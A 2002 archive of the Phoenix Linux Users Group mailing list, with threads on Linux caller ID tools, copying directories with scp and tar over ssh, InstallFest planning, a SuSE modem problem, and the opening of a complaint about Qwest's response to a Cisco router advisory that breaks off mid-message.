plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 16:11:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (David A. Sinck) Date: Mon, 10 Jun 2002 09:11:42 -0700 Subject: Caller ID (was telephony) References: Message-ID: <15620.53182.43040.796026@magnitude.righthandgraphics.com> \_ SMTP quoth Mike Henry on 6/10/2002 08:26 as having spake thusly: \_ \_ Is there a way to set up Linux for caller I.D.? 0) get cid from your provider 1) get a cid + linux compatible modem 2a) get one of the many cid apps (see sourceforge) 2b) roll your own with Device::Serial or direct ioctl calls 3) YMMV For instance, I've got my roll-your-own program sending jabber messages to me currently. :-) David From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 16:29:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Mon, 10 Jun 2002 12:29:20 -0400 Subject: sftp Message-ID: <20020610162920.GZCW8234.lakemtao06.cox.net@smtp.central.cox.net> Does anyone know of an application that gives you an ncftp "like" interface to sftp? I need to move a *lot* of directories and so far haven't figured out an easy way to do this with sftp. Thanks all, Carl P. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 16:43:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Mon, 10 Jun 2002 09:43:07 -0700 Subject: Caller ID (was telephony) In-Reply-To: <15620.53182.43040.796026@magnitude.righthandgraphics.com> References: <15620.53182.43040.796026@magnitude.righthandgraphics.com> Message-ID: <200206100943.07646@granroth.org> On Monday 10 June 2002 09:11 am, David A. Sinck wrote: > 0) get cid from your provider > 1) get a cid + linux compatible modem > 2a) get one of the many cid apps (see sourceforge) > 2b) roll your own with Device::Serial or direct ioctl calls > 3) YMMV > > For instance, I've got my roll-your-own program sending jabber > messages to me currently. :-) On a related topic, does anybody know if any of the cid programs for Linux support logging the call time? I'm trying to figure out a way to count up the total number of minutes that my phone is in use (incoming and outgoing; local and long distance) and Qwest won't give me that info without a subpoena. Now I know that my modem can get the CID info without answering the phone, but can it figure out how long the phone is active? -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 17:00:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Buettner) Date: Mon, 10 Jun 2002 10:00:04 -0700 Subject: sftp In-Reply-To: Carl Parrish "sftp" (Jun 10, 12:29pm) References: <20020610162920.GZCW8234.lakemtao06.cox.net@smtp.central.cox.net> Message-ID: <1020610170003.ZM14770@localhost.localdomain> On Jun 10, 12:29pm, Carl Parrish wrote: > Does anyone know of an application that gives you an ncftp "like" > interface to sftp? I need to move a *lot* of directories and so far > haven't figured out an easy way to do this with sftp. I know it's not the answer you were hoping for, but have you considered creating a tarball on the source machine, copying it with scp (or sftp) and then untarring it on the destination machine? If the directories that you're copying are all within the same hierarchy, you could also use "scp -r -p" too. (I still think transferring an archive will be faster though.) Kevin From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 17:09:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Mon, 10 Jun 2002 10:09:17 -0700 (MST) Subject: sftp In-Reply-To: <20020610162920.GZCW8234.lakemtao06.cox.net@smtp.central.cox.net> Message-ID: Carl, try this: scp -rp from.this.host.com:/path/to/dir /path/to/destination -r recursive -p preserve permissions (if you need it) In a second terminal window, keep a connection open to the source host so you can ls the dirs you need. - tom e. -------------------------------------------------------- Does anyone know of an application that gives you an ncftp "like" interface to sftp? I need to move a *lot* of directories and so far haven't figured out an easy way to do this with sftp. Thanks all, Carl P. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 17:12:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Mon, 10 Jun 2002 12:12:15 -0500 (CDT) Subject: Caller ID (was telephony) In-Reply-To: <200206100943.07646@granroth.org> Message-ID: Kurt, If you are willing to get a telephony card you can do some pretty incredible stuff with GNUe Bayonne. http://www.gnu.org/software/bayonne/ Derek Neighbors GNU Enterprise http://www.gnuenterprise.org derek@gnue.org On Mon, 10 Jun 2002, Kurt Granroth wrote: > On Monday 10 June 2002 09:11 am, David A. Sinck wrote: > > 0) get cid from your provider > > 1) get a cid + linux compatible modem > > 2a) get one of the many cid apps (see sourceforge) > > 2b) roll your own with Device::Serial or direct ioctl calls > > 3) YMMV > > > > For instance, I've got my roll-your-own program sending jabber > > messages to me currently. :-) > > On a related topic, does anybody know if any of the cid programs for Linux > support logging the call time? I'm trying to figure out a way to count up > the total number of minutes that my phone is in use (incoming and outgoing; > local and long distance) and Qwest won't give me that info without a > subpoena. Now I know that my modem can get the CID info without answering > the phone, but can it figure out how long the phone is active? > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 17:16:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Mon, 10 Jun 2002 10:16:46 -0700 Subject: Install Fest Question Message-ID: <2AAC72149C827944B96C854ABD0BCAFF16B73A@azmscorp01.corp.azms> All, Is there going to be a distribution that is going to be recommended at the install fest over another? I am sure everyone has their favorites just didn't know if there was going to be a standard. Thanks. -Larry From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 17:24:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Mon, 10 Jun 2002 13:24:00 -0400 Subject: sftp Message-ID: <20020610172400.IWLO4796.lakemtao08.cox.net@smtp.central.cox.net> Kevin when you tar a file does it create a copy or does it effect the original? The directories I need to more are on a semi public box and will be in use during the transfer. Carl P. ============================================================ From: Kevin Buettner Date: 2002/06/10 Mon PM 01:00:04 EDT To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: sftp On Jun 10, 12:29pm, Carl Parrish wrote: > Does anyone know of an application that gives you an ncftp "like" > interface to sftp? I need to move a *lot* of directories and so far > haven't figured out an easy way to do this with sftp. I know it's not the answer you were hoping for, but have you considered creating a tarball on the source machine, copying it with scp (or sftp) and then untarring it on the destination machine? If the directories that you're copying are all within the same hierarchy, you could also use "scp -r -p" too. (I still think transferring an archive will be faster though.) Kevin ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ============================================================ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 17:16:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Mon, 10 Jun 2002 10:16:51 -0700 Subject: InstallFest -- Status 2002-06-10 Message-ID: <01C21067.F09B9840.wlindley@wlindley.com> Status as of Monday morning. Added volunteers, and tentative presentation times. ------------------------------- What: InstallFest When: 22 June 2002, 10am-4pm Where: Turquoise Room, Scottsdale Community College, Hwy. 101 & Pima Rd. See also: http://www.plugpresents.com/installfest Here's who has the pumpkins... i.e., who is handling what. Please reply off-list if you can fill any of these slots, see anything overlooked, or with any additions or corrections. ------------------------------- SCC Contact: G.D.Thurman Publicity: Jim Wejroch Press Release: Dennis Kibbe Flyer: Susan Henson Newbie classes (hope to have schedule before Fest): ______ Vendors: Alan Dayley Installations: (Prefer to have several names for each) RedHat: ______ Robert Ambrose Alan Robert A.Klahn Mandrake: ______ KevinO Virgil Silhanek W.Lindley Debian: ______ ______ Robert A.Klahn Slackware: ______ Bruce Pettycrew BSD: Justin Zeigler and Harry McGregor of www.OSEF.org (Tucson) J.Francois General Assistance: _____ _____ Matt Alexander Kirby Susan Henson Presentations: per Thurman, we will have a room with video projector. - TENTATIVE SCHEDULE: 10:30 am Linux/Open Source Jim Wejroch 11:30 am Linux Terminal Server Project Matt Alexander 12:30 pm Open Source On the Educational Desktop Harry McGregor of www.OSEF.org 1:30 pm KDE ______ or Jim Wejroch 2:30 pm Linux/Open Source der.hans (Should have several folks to speak briefly). - Videotape, Stallman visit October 2001: Thurman - Other presentations: ________: ______ (Your chance to speak!) Food: per Thurman: - SCC to provide food stand. Outside food, non-alc. drink OK. - Food and drink are allowed in the Turquoise Room and Foyer area. Giveaways: - (see also Vendor above) - PLUG handouts: ______ ______ - PLUG business cards: Jim - Tux the Penguin, case badges, to all successful installs. Dennis Kibbe - SCC is going to give away the following books: + Just For Fun (The Story of an Accidental Revolutionary) + The Cathedral and Bazaar (Musings on the Linux and Open Source by an Accidental Revolutionary) + Open Sources (Voices from the Open Source Revolution) + Free as in Freedom (Richard Stallman's Crusade for Free Software) - Vendors: + Terra Soft: 10 packaged copies of Yellow Dog Linux 2.1. (Power PC) + TurboLinux: books & "goodies" CDROMs to give away - Mandrake 8.2 ______ - Debian ______ - RedHat 7.3 10 copies, Matt Alexander - ___________ ______ <- Your favorite distro here! - Open Office, Mozilla 1.0. 10 copies, Matt Alexander Working computers for people to see. - Apple G3, der.hans (closed box) - ____________ <- KDE? - ____________ <- Gnome? - ____________ <-- need at least one with CD burner + Firewall Distro demos - __________ - __________ - FreeSCO: has one ready to go ----- MATERIALS LIST ----- Start of a list. Let me know which you can bring. Reply to me (not to all) with any additions / changes. Then we'll cc the pluglist. Ideally we'd have several folks with a "reserve" of items in their cars' trunks... GENERAL. - Markers, paper, tape -- for signs - Pens, pencils - Preprinted signs ("Install fest This Way" [left, right, up]) - Easel, whiteboard, drymarkers - PLUG banner. Jim Wejroch HANDOUTS. - PLUG business cards Jim Wejroch - Flyers. Susan Henson, in progress. Current: Revision 6, 2002-06-08 - Other. We still need various handouts: Suggestions? - Vendor materials - Supply of blank CDRs, and access to ISOs of several distributions on an operable computer with a CD burner. - Hardware Inventory / Waiver forms -- see http://www.vlug.org/ifht/ COMPUTERS. (for people to gawk at and play with) - Operable PC running Red Hat. - Operable PC running Mandrake. - Operable PC running Debian. - Operable Apple, IPAQ, PC running other distros, etc etc. PARTS. - power strips / surge protectors (several folks pls bring) - network switch/hub & cables (Hans?) - extra network switch/hub & cables for Firewall demos - spare keyboards William Lindley - spare mice William Lindley - various converter plugs, screws, etc. - screwdrivers - network cards (PCI, ISA) - extra floppy drives, cdrom drives, video and sound cards (for folks with recalcitrant hardware?) - IDE, floppy cables FOOD. - _______ - _______ - _______ <--- sponsors? ----------------- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 17:14:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (David Mandala) Date: 10 Jun 2002 10:14:17 -0700 Subject: Caller ID (was telephony) In-Reply-To: <200206100943.07646@granroth.org> References: <15620.53182.43040.796026@magnitude.righthandgraphics.com> <200206100943.07646@granroth.org> Message-ID: <1023729258.1536.5.camel@CX868974-C> The modem by itself may not be able to but with a small bit of work you could build a current monitor and us it in conjunction with the modem and get the total time the phone is in use and log all inbound calls as to who they were. The phone draws little to no DC current until you pickup (answer) the phone then it draws enough to measure easily. Davidm On Mon, 2002-06-10 at 09:43, Kurt Granroth wrote: > On Monday 10 June 2002 09:11 am, David A. Sinck wrote: > > 0) get cid from your provider > > 1) get a cid + linux compatible modem > > 2a) get one of the many cid apps (see sourceforge) > > 2b) roll your own with Device::Serial or direct ioctl calls > > 3) YMMV > > > > For instance, I've got my roll-your-own program sending jabber > > messages to me currently. :-) > > On a related topic, does anybody know if any of the cid programs for Linux > support logging the call time? I'm trying to figure out a way to count up > the total number of minutes that my phone is in use (incoming and outgoing; > local and long distance) and Qwest won't give me that info without a > subpoena. Now I know that my modem can get the CID info without answering > the phone, but can it figure out how long the phone is active? > -- > Kurt Granroth - "KDE -- Conquer Your Desktop" > KDE Developer/Evangelist | granroth@kde.org > http://www.granroth.org | kurt@granroth.org > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 17:42:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Mon, 10 Jun 2002 10:42:07 -0700 Subject: Install Fest Question In-Reply-To: <2AAC72149C827944B96C854ABD0BCAFF16B73A@azmscorp01.corp.azms> References: <2AAC72149C827944B96C854ABD0BCAFF16B73A@azmscorp01.corp.azms> Message-ID: <0206101042070N.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Most home computer users who are unfamiliar with Linux would probably be best having Mandrake (my choice), Red Hat, or S.u.S.E. Installed. If a customer has a preference for another distribution, there will be Internet connectivity available to get it. On a related note, we will have V1.0 of Open Office and Mozilla available, thanks to Matt. On Monday 10 June 2002 10:16, you wrote: > All, > > > Is there going to be a distribution that is going to be recommended at the > install fest over another? I am sure everyone has their favorites just > didn't know if there was going to be a standard. Thanks. > > > -Larry > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQTk7ysk3ywszI1FEQIStgCdHAEDYJ7c50vQAlJjaA4hBMkoaSsAniNa 7IiBXjbGf1bl9dyxiyyLg3ZF =MfYo -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 18:00:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Mon, 10 Jun 2002 11:00:59 -0700 Subject: Caller ID (was telephony) In-Reply-To: <200206100943.07646@granroth.org> References: <15620.53182.43040.796026@magnitude.righthandgraphics.com> <200206100943.07646@granroth.org> Message-ID: <20020610180059.GX14558@ecloud.org> On Mon, Jun 10, 2002 at 09:43:07AM -0700, Kurt Granroth wrote: > On Monday 10 June 2002 09:11 am, David A. Sinck wrote: > > 0) get cid from your provider > > 1) get a cid + linux compatible modem > > 2a) get one of the many cid apps (see sourceforge) > > 2b) roll your own with Device::Serial or direct ioctl calls > > 3) YMMV > > > > For instance, I've got my roll-your-own program sending jabber > > messages to me currently. :-) > > On a related topic, does anybody know if any of the cid programs for Linux > support logging the call time? I'm trying to figure out a way to count up > the total number of minutes that my phone is in use (incoming and outgoing; > local and long distance) and Qwest won't give me that info without a > subpoena. Now I know that my modem can get the CID info without answering > the phone, but can it figure out how long the phone is active? Well I see that a modem will not dial out if you are talking on the phone, so obviously it can tell that it's in use. It tries to detect dial tone, and says "no dial tone" if it doesn't hear it. So maybe you could find some tricky way to get it to try and dial, without actually dialing, and see what sort of error message you get back; and thus develop a method to poll the line to see when it's in use. But I think you will hear a "click" each time it does this. As for caller ID, I'm currently using 2 methods. One, is that I modified mgetty/vgetty to call an external program with caller ID info. (It already logs this info, and can use CID to decide whether to answer the phone or not, etc.) Then I wrote an external program which given caller ID info on its command-line, constructs an XML message, and sends it out as a multicast packet. That way any machine on the network can monitor and display this information. Then I wrote a very simple X client which runs in the background and pops up a window when it receives one of these packets. There is another caller ID daemon that you will find on freshmeat, which uses multicast or broadcast packets I think. And it works with a Gnome panel applet called gtele. However you must dedicate a modem just for this daemon. I naturally wanted to do voicemail on the same line, so modifying mgetty seems like a better choice to me. But I need to submit a patch some day to the author, and get some help with making it better, because right now it's kindof slow - I don't see that packet until after the second ring, whereas it should be after the first ring. My second method is a QNX app called ACID (Audrey Caller ID). It uses the Audrey's built-in modem to get caller ID data and display it, and can also act as a server so that other instances of ACID on other machines can connect to it and display the data. It can also log calls, use a database to match names with numbers, play sounds when specific people call, etc. Those are good ideas. But maybe the "suggested sound" should be specified as a URL in my XML message, and then the fancier clients could get it from a web server and play it, instead of having to deploy the sounds themselves on each client. And the server would make the decision about which sound to play. I could even have the server use festival to speak the name, create a sound file and make it available on the web server, at the same time it sends out the packet, so that there will always be a sound; and additionally there could be custom sounds for specific friends. I want to write a QNX app that receives my multicast packets, and maybe a Mac one, and a KDE one, and modify gtele. I would welcome help with these things if any of you have expertise with such things. I will try to build the QNX client next, I think; I put together a development system just for that purpose. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 18:06:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Buettner) Date: Mon, 10 Jun 2002 11:06:34 -0700 Subject: sftp In-Reply-To: Carl Parrish "Re: Re: sftp" (Jun 10, 1:24pm) References: <20020610172400.IWLO4796.lakemtao08.cox.net@smtp.central.cox.net> Message-ID: <1020610180634.ZM14959@localhost.localdomain> On Jun 10, 1:24pm, Carl Parrish wrote: > Kevin when you tar a file does it create a copy or does it effect > the original? The directories I need to more are on a semi public > box and will be in use during the transfer. It doesn't modify the original file. If you don't want to create a copy of the directories that you're transferring, you can do it something like this: cd somewhere tar cf - somedir1 somedir2 | ssh remote.host.com 'cd somewhereelse; tar xvf -' Or: ssh remote.host.com 'cd somewhere; tar cf - somedir1 somedir2' \ | ( cd somewhereelse; tar xvf - ) Kevin From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 18:06:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Mon, 10 Jun 2002 13:06:15 -0500 (CDT) Subject: Install Fest Question In-Reply-To: <2AAC72149C827944B96C854ABD0BCAFF16B73A@azmscorp01.corp.azms> Message-ID: The ones your friends use. -Derek On Mon, 10 Jun 2002, Larry Lauer wrote: > > All, > > > Is there going to be a distribution that is going to be recommended at the install fest over another? I am sure everyone has their favorites just didn't know if there was going to be a standard. Thanks. > > > -Larry > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 18:56:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Mon, 10 Jun 2002 11:56:48 -0700 Subject: Install Fest Question In-Reply-To: References: Message-ID: <200206101156.48695.voltage_spike@fastmail.fm> On Monday 10 June 2002 11:06 am, Derek Neighbors wrote: > The ones your friends use. > > On Mon, 10 Jun 2002, Larry Lauer wrote: > > Is there going to be a distribution that is going to be recommended at > > the install fest over another? I am sure everyone has their favorites > > just didn't know if there was going to be a standard. Thanks. Windows? PS: And yes, I am trying to get my friends to come. ;-) -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 19:38:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Page greer) Date: Mon, 10 Jun 2002 12:38:33 -0700 Subject: modem configuration Message-ID: <20020610.124045.1812.2.eegap@juno.com> I've got aanew modem that for some reason I can't get to con figure Im running Dual. boot system With Xp And Suse 8.0 pro The reason I got the new modem is the isp had there # s changed and the weren 't told It supposed to be really easy under yastY to do this I've had it on-line with Xp . But for some reason it wont initiate. Suse uses SUSE meta as pppd and it was working under KDE 3.0 I've red all through Suse manuals and cant find there Docs on Suse meta or the smppppd file its under I cant find the dumb file in the Command line under root either any body got any idea's ITS a zoom modem off suse's capatablelist From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 19:42:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 10 Jun 2002 12:42:59 -0700 Subject: Caller ID (was telephony) In-Reply-To: <20020610180059.GX14558@ecloud.org> References: <15620.53182.43040.796026@magnitude.righthandgraphics.com> <200206100943.07646@granroth.org> <20020610180059.GX14558@ecloud.org> Message-ID: <200206101943.PAA02238@hostinworld6.com> I don't think that it's slow. I heard somewhere the the Telco sends the info after the second ring. -Bryce On 10 Jun 2002 11:00:59 -0700, Shawn Rutledge wrote: > On Mon, Jun 10, 2002 at 09:43:07AM -0700, Kurt Granroth wrote: > > On Monday 10 June 2002 09:11 am, David A. Sinck wrote: > > > 0) get cid from your provider > > > 1) get a cid + linux compatible modem > > > 2a) get one of the many cid apps (see sourceforge) > > > 2b) roll your own with Device::Serial or direct ioctl calls > > > 3) YMMV > > > > > > For instance, I've got my roll-your-own program sending jabber > > > messages to me currently. :-) > > > > On a related topic, does anybody know if any of the cid programs for Linux > > support logging the call time? I'm trying to figure out a way to count up > > the total number of minutes that my phone is in use (incoming and outgoing; > > local and long distance) and Qwest won't give me that info without a > > subpoena. Now I know that my modem can get the CID info without answering > > the phone, but can it figure out how long the phone is active? > > Well I see that a modem will not dial out if you are talking on the > phone, so obviously it can tell that it's in use. It tries to detect > dial tone, and says "no dial tone" if it doesn't hear it. So maybe you > could find some tricky way to get it to try and dial, without actually > dialing, and see what sort of error message you get back; and thus > develop a method to poll the line to see when it's in use. But I think > you will hear a "click" each time it does this. > > As for caller ID, I'm currently using 2 methods. One, is that I modified > mgetty/vgetty to call an external program with caller ID info. (It > already logs this info, and can use CID to decide whether to answer the > phone or not, etc.) Then I wrote an external program which given caller > ID info on its command-line, constructs an XML message, and sends it out > as a multicast packet. That way any machine on the network can monitor > and display this information. Then I wrote a very simple X client which > runs in the background and pops up a window when it receives one of these > packets. > > There is another caller ID daemon that you will find on freshmeat, which > uses multicast or broadcast packets I think. And it works with a Gnome > panel applet called gtele. However you must dedicate a modem just for > this daemon. I naturally wanted to do voicemail on the same line, so > modifying mgetty seems like a better choice to me. But I need to submit > a patch some day to the author, and get some help with making it better, > because right now it's kindof slow - I don't see that packet until after > the second ring, whereas it should be after the first ring. > > My second method is a QNX app called ACID (Audrey Caller ID). It uses > the Audrey's built-in modem to get caller ID data and display it, and can > also act as a server so that other instances of ACID on other machines > can connect to it and display the data. It can also log calls, use a > database to match names with numbers, play sounds when specific people > call, etc. Those are good ideas. But maybe the "suggested sound" > should be specified as a URL in my XML message, and then the fancier > clients could get it from a web server and play it, instead of having to > deploy the sounds themselves on each client. And the server would make > the decision about which sound to play. I could even have the server use > festival to speak the name, create a sound file and make it available on > the web server, at the same time it sends out the packet, so that there > will always be a sound; and additionally there could be custom sounds for > specific friends. > > I want to write a QNX app that receives my multicast packets, and maybe a > Mac one, and a KDE one, and modify gtele. I would welcome help with > these things if any of you have expertise with such things. I will try > to build the QNX client next, I think; I put together a development > system just for that purpose. > > -- > _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com > (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org > __) | | \________________________________________________________________ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 19:48:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Mon, 10 Jun 2002 12:48:54 -0700 Subject: Install Fest Question Message-ID: <01C2107D.2E693B40.wlindley@wlindley.com> > Is there going to be a distribution that is going to be recommended at > the install fest over another? So far the count of folks who would help install the various distributions stands at: RedHat: 3 (Robert Ambrose, Alan Dayley, Robert Klahn) Mandrake: 3 (Kevin O'Connor, Virgil Silhanek, William Lindley) BSD: 3 (Justin Zeigler, Harry McGregor, J. Francois) Slackware: 1 (Bruce Pettycrew) Debian: 1 (Robert Klahn) Folks, vote for your favorite distribution by telling me (OFF-LIST: wlindley@wlindley.com ) you'll be there to help with an install or two! \\/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 19:57:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Mon, 10 Jun 2002 12:57:31 -0700 Subject: Caller ID (was telephony) In-Reply-To: <200206101943.PAA02238@hostinworld6.com> References: <15620.53182.43040.796026@magnitude.righthandgraphics.com> <200206100943.07646@granroth.org> <20020610180059.GX14558@ecloud.org> <200206101943.PAA02238@hostinworld6.com> Message-ID: <20020610195731.GA14558@ecloud.org> On Mon, Jun 10, 2002 at 12:42:59PM -0700, Bryce C. wrote: > I don't think that it's slow. I heard somewhere the the Telco sends the > info after the second ring. No it's after the first ring. My standalone caller ID box and the Audreys both receive it much sooner than the mgetty mod. It's just that mgetty wasn't designed for that; so far it uses caller ID to decide whether to answer the phone or not, and speed isn't very important for that purpose. > On 10 Jun 2002 11:00:59 -0700, Shawn Rutledge wrote: > > On Mon, Jun 10, 2002 at 09:43:07AM -0700, Kurt Granroth wrote: > > > On Monday 10 June 2002 09:11 am, David A. Sinck wrote: > > > > 0) get cid from your provider > > > > 1) get a cid + linux compatible modem > > > > 2a) get one of the many cid apps (see sourceforge) > > > > 2b) roll your own with Device::Serial or direct ioctl calls > > > > 3) YMMV > > > > > > > > For instance, I've got my roll-your-own program sending jabber > > > > messages to me currently. :-) > > > > > > On a related topic, does anybody know if any of the cid programs for Linux > > > support logging the call time? I'm trying to figure out a way to count up > > > the total number of minutes that my phone is in use (incoming and outgoing; > > > local and long distance) and Qwest won't give me that info without a > > > subpoena. Now I know that my modem can get the CID info without answering > > > the phone, but can it figure out how long the phone is active? > > > > Well I see that a modem will not dial out if you are talking on the > > phone, so obviously it can tell that it's in use. It tries to detect > > dial tone, and says "no dial tone" if it doesn't hear it. So maybe you > > could find some tricky way to get it to try and dial, without actually > > dialing, and see what sort of error message you get back; and thus > > develop a method to poll the line to see when it's in use. But I think > > you will hear a "click" each time it does this. > > > > As for caller ID, I'm currently using 2 methods. One, is that I modified > > mgetty/vgetty to call an external program with caller ID info. (It > > already logs this info, and can use CID to decide whether to answer the > > phone or not, etc.) Then I wrote an external program which given caller > > ID info on its command-line, constructs an XML message, and sends it out > > as a multicast packet. That way any machine on the network can monitor > > and display this information. Then I wrote a very simple X client which > > runs in the background and pops up a window when it receives one of these > > packets. > > > > There is another caller ID daemon that you will find on freshmeat, which > > uses multicast or broadcast packets I think. And it works with a Gnome > > panel applet called gtele. However you must dedicate a modem just for > > this daemon. I naturally wanted to do voicemail on the same line, so > > modifying mgetty seems like a better choice to me. But I need to submit > > a patch some day to the author, and get some help with making it better, > > because right now it's kindof slow - I don't see that packet until after > > the second ring, whereas it should be after the first ring. > > > > My second method is a QNX app called ACID (Audrey Caller ID). It uses > > the Audrey's built-in modem to get caller ID data and display it, and can > > also act as a server so that other instances of ACID on other machines > > can connect to it and display the data. It can also log calls, use a > > database to match names with numbers, play sounds when specific people > > call, etc. Those are good ideas. But maybe the "suggested sound" > > should be specified as a URL in my XML message, and then the fancier > > clients could get it from a web server and play it, instead of having to > > deploy the sounds themselves on each client. And the server would make > > the decision about which sound to play. I could even have the server use > > festival to speak the name, create a sound file and make it available on > > the web server, at the same time it sends out the packet, so that there > > will always be a sound; and additionally there could be custom sounds for > > specific friends. > > > > I want to write a QNX app that receives my multicast packets, and maybe a > > Mac one, and a KDE one, and modify gtele. I would welcome help with > > these things if any of you have expertise with such things. I will try > > to build the QNX client next, I think; I put together a development > > system just for that purpose. > > > > -- > > _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com > > (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org > > __) | | \________________________________________________________________ > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 21:19:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Mon, 10 Jun 2002 14:19:54 -0700 Subject: Caller ID (was telephony) In-Reply-To: <20020610195731.GA14558@ecloud.org> References: <200206101943.PAA02238@hostinworld6.com> <20020610195731.GA14558@ecloud.org> Message-ID: <200206101419.54560.voltage_spike@fastmail.fm> On Monday 10 June 2002 12:57 pm, Shawn Rutledge wrote: > On Mon, Jun 10, 2002 at 12:42:59PM -0700, Bryce C. wrote: > > I don't think that it's slow. I heard somewhere the the Telco sends > > the info after the second ring. > > No it's after the first ring. My standalone caller ID box and the > Audreys both receive it much sooner than the mgetty mod. It's just > that mgetty wasn't designed for that; so far it uses caller ID to > decide whether to answer the phone or not, and speed isn't very > important for that purpose. The caller ID information wait times out after the second ring. Perhaps the information is being sent on the timeout rather than when the checksum byte is received? Something to look at. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 20:58:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Eric Richardson) Date: Mon, 10 Jun 2002 13:58:59 -0700 Subject: Cisco DoS required CBOS upgrade- Qwest complaint References: Message-ID: <3D051313.1030805@milagrosoft.com> Patrick Fleming EA wrote: > I have been in contact with Cisco support as well as customer support > within Qwest regarding a serious Denial of Service update to the software > that runs my Cisco 678 router. On 5-23-2002 Cisco released the following > advisory: http://www.cisco.com/warp/public/707/CBOS-DoS.shtml As > indicated, I called Qwest- the provider of my modem. The first person I > talked to transfered me to another department. Without talking to anyone > at all, just following the prompts provided by the voice mail system, I > was able to get right back where I originally started, with DSL Tech > support. This time I was told that they had just received a memo regarding > 